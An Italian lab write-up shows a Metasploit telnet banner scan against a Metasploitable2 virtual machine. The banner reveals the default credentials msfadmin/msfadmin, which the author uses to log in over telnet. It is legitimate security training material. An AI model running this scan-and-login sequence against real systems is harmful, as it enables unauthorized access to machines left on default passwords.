

EXPLOIT TELNET CON MSFCONSOLE

Marco Malizia, 09.07.2024

Macchine utilizzate: Kali Linux - Metasploitable2

Configurazione rete interna con IP Kali (192.168.1.150) e Meta (192.168.1.149)

- Avviare MSFCONSOLE sul terminal di Kali

```
(gigi@gigi)-[~]
$ msfconsole
Metasploit tip: Save the current environment with the save command,
future console restarts will use this environment again

[... ASCII art ...]

=[ metasploit v6.4.15-dev ]
+ -- --=[ 2433 exploits - 1254 auxiliary - 428 post ]
+ -- --=[ 1471 payloads - 47 encoders - 11 nops ]
+ -- --=[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
msf6 >
```

- Eseguendo il comando <search telnet _version> andiamo a filtrare la ricerca per ottenere risultati piu' vicini possibili alle nostre necessita', selezioniamo il secondo risultato visto che rappresenta esattamente cio' che stiamo cercando.

```
msf6 > search telnet _version

Matching Modules
=====
#  Name                                     Disclosure Date  Ran
k  Check  Description
-  -
0  auxiliary/scanner/telnet/lantronix_telnet_version .          nor
mal No    Lantronix Telnet Service Banner Detection
1  auxiliary/scanner/telnet/telnet_version .          nor
mal No    Telnet Service Banner Detection

Interact with a module by name or index. For example info 1, use 1 or use aux
iliary/scanner/telnet/telnet_version
msf6 > use 1
```

- Dopo aver impostato il modulo eseguiamo <show options> per visualizzare a schermo i dati richiesti. Come possiamo vedere e' richiesto anche l'indirizzo IP del target, perciò' eseguiamo <set rhost IPTARGET> che in questa situazione e' quello appartenente alla macchina Metasploit, ovvero 192.168.1.149.

```
msf6 auxiliary(scanner/telnet/telnet_version) > show options
Module options (auxiliary/scanner/telnet/telnet_version):
```

Name	Current Setting	Required	Description
PASSWORD		no	The password for the specified user name
RHOSTS		yes	The target host(s), see https://docs.metsaploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	23	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)
TIMEOUT	30	yes	Timeout for the Telnet probe
USERNAME		no	The username to authenticate as

```
View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/telnet/telnet_version) > set rhosts 192.168.1.149
rhosts => 192.168.1.149
```

- Ora che abbiamo inserito tutti i dati richiesti, possiamo eseguire il comando <run> oppure <exploit> e come vediamo dallo screenshot, abbiamo ottenuto cio' che cercavamo, le credenziali per poter accedere al portale tramite telnet.

```
msf6 auxiliary(scanner/telnet/telnet_version) > run
[*] 192.168.1.149:23 - 192.168.1.149:23 TELNET
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfa
dmin/msfadmin to get started
[*] 192.168.1.149:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_version) >
```

- Eseguendo il comando <telnet 192.168.1.149> possiamo accedere al portale di login di Metasploit, dove inserendo le credenziali trovate prima con MSFCONSOLE possiamo accedere.

```
(gigi@gigi)-[~]
$ telnet 192.168.1.149
Trying 192.168.1.149 ...
Connected to 192.168.1.149.
Escape character is '^]'.

File System
metasploitable

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Tue Jul  9 08:59:04 EDT 2024 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$
```